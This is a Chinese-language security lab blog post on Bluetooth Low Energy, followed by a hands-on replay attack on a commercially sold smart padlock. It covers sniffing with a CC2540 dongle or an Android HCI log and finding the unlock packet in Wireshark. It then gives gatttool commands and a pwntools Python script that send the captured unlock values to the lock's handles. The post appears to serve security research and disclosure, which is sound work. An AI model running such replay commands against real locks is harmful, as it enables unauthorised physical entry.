低功耗藍牙重放攻擊實戰

低功耗藍牙重放攻擊實戰

來自專欄伏宸安全實驗室1 人贊了文章

前言

4.0標準包括兩個藍牙標準:一個是雙模標準,它包括傳統藍牙(或稱經典藍牙)、高速藍牙和低功耗藍牙部分;另一個就是單獨的低功耗標準。這個兩部分適用於不同的應用條件和應用環境。

傳統藍牙(或稱經典藍牙)可以用於數據量較大的傳輸,如語音、音樂等,而低功耗藍牙主要應用於實時性要求比較高但數據速率相對較低的產品中,如感測設備的數據發送和遙控裝置設備等。

傳統藍牙有3個功率級別:Class1、Class2、Class3,分別支持100m、10m、1m的傳輸距離,而低功耗藍牙是無功率級別的,一般發送功率在-21~5dBm((用戶可通過軟體編程設定),對於藍牙4.2以上的標準來說,傳輸距離在空曠條件下大於100m也是沒有問題的。

所以藍牙4.0是集成了傳統藍牙、高速藍牙和低功耗藍牙三個標準的,並不只是低功耗藍牙。

關於低功耗藍牙

這裡不過多講解藍牙與低功耗藍牙的基礎知識,感興趣的請自行查詢相關資料學習!!!

低功耗藍牙,也可稱其為智能藍牙,是一種智能、低功耗的無線技術。這項技術通過縮小智能設備的尺寸、降低其價格與複雜性,進一步提高了其智能化程度。

低功耗藍牙一開始是藍牙4.0核心規格的一部分,最初的目標是提供功耗最低的無線標準,並且專門在低成本、低帶寬與低功耗等方面進行了優化。目前,低功耗藍牙技術已被廣泛使用,並且只需一粒紐扣電池就能運行很長時間。

通信信道

在物理層,因為調製參數放寬,所以BLE和經典藍牙的信道並不相同,而是只有40個信道,因為功率譜更寬,為了避免相鄰信道的干擾,採用2MHz的信道寬度。

在鏈路層,將40個信道分為廣播信道和數據信道,37個是數據信道,3個廣播信道。40個信道最低的中心頻率為2402MHz,最高的為2480MHz。第一個信道的頻率為2402,以後每一個信道加20MHz。

廣播信道分散在距離較遠的頻段上,過度的集中會導致如果該頻段受干擾嚴重可能廣播就無法進行的情況,分散的目的是為了增加容錯率。

而廣播頻道的選擇主要是考慮到WIFI接入點的干擾。這些接入點通常選擇802.11的信道1/6/11三個信道,分別佔據 2402MHz~2422MHz, 2427MHz~2447MHz, 2452MHz~2472MHz ;

而BLE的廣播信道則分別為 2402MHz,2426MHz,2480MHz ,也就意味著第一個廣播信道低於WIFI信道1,第二個廣播信道位於WIFI信道1和6之間,第三個廣播信道高於11號信道,正好避免了三個WIFI常用接入點信道的覆蓋,避免了他們的干擾。

40個頻道中:37、38、39為廣播信道,0-36頻道用於數據的傳輸:

BLE數據嗅探

CC2540 USB Dongle

我們選用某寶熱銷的一款藍牙掛鎖進行測試,嗅探、分析其通信數據並且重放它的開鎖信號。

硬體:CC2540 USB Dongle

軟體:Packet Sniffer

下載軟體並且安裝好之後,插上Dongle,打開軟體,選擇「Bluetooth Low Energy」,然後點擊「Start」,就可以進入Sniffer界面。

底部可以看到Dongle設備

在TI協議棧的官方常式里是默認在廣播的時候同時廣播三個通道(37、38、39),但是一旦跟主機連接上後,就只在其中的一個信道傳輸數據,這個是隨機性的,所以說,總有一次有一個通道能捕抓到數據,所以做實驗的時候要多試幾次。

點擊「Radio Configuration」,選擇需要嗅探的廣播信道,然後點擊「Play」按鈕,就可以嗅探BLE的數據包。右側「向下箭頭」按鈕,是開啟自動翻滾。

打開手機上的APP,按下掛鎖上的按鈕,APP成功連接上掛鎖。

成功抓到掛鎖與客戶端的請求內容,標記的第一行是手機藍牙搜索藍牙設備,請求廣播者廣播更多的信息,第二行是請求和對方建立連接。其中AdvA為掛鎖的MAC地址。

手機上可以下載LightBlue來查看周圍的藍牙設備,就可以知道掛鎖的MAC地址是什麼。

我們接著分析數據,開啟APP後不做任何動作,APP會發起 「LL_VERSION_IND」 請求,獲取Controller版本和公司信息。

「LL_CONNECTION_UPDATE_REQ」請求,更新連接參數。 「SIG_Connection_Param_Update_Req」請求,發出自己的版本號,返回結果為0x0000,則為沒有版本差,即為最新版。

「LL_CHANNEL_MAP_REQ」請求,設置跳頻範圍(37、38、39保留)。

點擊APP上的「點擊開鎖」按鈕,抓取到開鎖的數據包。

「0成本」抓取數據

CC2540 USB Dongle某寶上50RMB左右就可以買到,但是BLE在連接狀態中鏈路採取跳頻的技術避免環境中的干擾,需要重複測試好幾遍才能抓到數據。接下來介紹一種更好的方案,這種設備大家都有,而且數據抓取率更高、通信數據更詳細!

硬體:一部安卓手機

首先進入「開發者選項」 - 開啟「藍牙HCI信息收集日誌」

然後打開APP進行一次「連接掛鎖」,「開鎖」的操作。藍牙日誌就會寫入btsnoop.log文件中。

這裡需要注意:不同品牌的手機,日誌文件存放位置不同,可以用電腦ADB Shell調試手機,輸入命令`cat /etc/bluetooth/bt_stack.conf `查看日誌文件存放的位置,或者直接先相關品牌手機的客服、工程師詢問藍牙HCI日誌文件的儲存路徑。

接下來可以利用手機數據線或者手機QQ傳輸日誌文件到電腦上,然後用Wireshark打開藍牙HCI日誌文件。

設置下條件過濾,可以更直觀的看到數據傳輸過程。

成功找到開鎖的寫入數據請求。

重放數據

硬體:一台筆記本電腦(PC電腦需要加一個藍牙適配器)

軟體:BlueZ(HciTool、GattTool)

掃描周圍低功耗設備(BLE)

打開終端,輸入`hciconfig dev`查看電腦的當前適配器設備,輸入`sudo hciconfig hci0 up`激活藍牙適配器。

輸入`sudo hcitool lescan`搜索周圍的藍牙設備,搜索到設備後按`CTRL + C`停止搜索,設備名稱為`smart lock`,是一個藍牙串口設備,MAC地址`74:e1:82:04:63:3b`

使用GattTool與BLE設備通訊

輸入命令`gatttool -b 74:E1:82:04:63:3B -I`使用interactive方式連接設備

>connect 與BLE設備連接。>primary 尋找BLE中可用的服務。>characteristics 查看設備服務的特徵值。>char-read-hnd 0x0026 讀取特徵值對應句柄的數值。>char-write-req 0x0029 55100144 發送55100144命令到句柄0x0029(控制掛鎖開鎖)>sec-level high 設置安全等級為高,可以讓手環長時間保持連接。

掛鎖成功開啟,但是這樣一行一行的輸入,速度比較慢,而且麻煩。寫個Python腳本,自動化開鎖~

python#!/usr/bin/env python2# -*- coding: utf-8 -*-#usage: pip install pwnfrom pwn import *argv = ["gatttool","-b","74:e1:82:04:63:3b","-I"]sh = process(argv)sh.sendline("connect")print -----請開啟鎖-----sh.recvuntil("Connection successful")print -----正在開鎖-----sh.sendline("char-write-req 0x0026 0100")sh.recvuntil("written successfully")sh.sendline("char-write-req 0x0029 554100000014")sh.recvuntil("written successfully")sh.sendline("char-write-req 0x0029 55100144")sh.recvuntil("written successfully")print -----開鎖成功-----sh.close()

演示視頻:av31973266


伏宸安全實驗室-主頁?

future-sec.com圖標

新浪微博:伏宸安全實驗室

微信公眾號: 伏宸安全實驗室 (微信搜索「伏宸安全實驗室」關注即可)

推薦閱讀:

TAG:藍牙Bluetooth | 信息安全 | 物聯網 |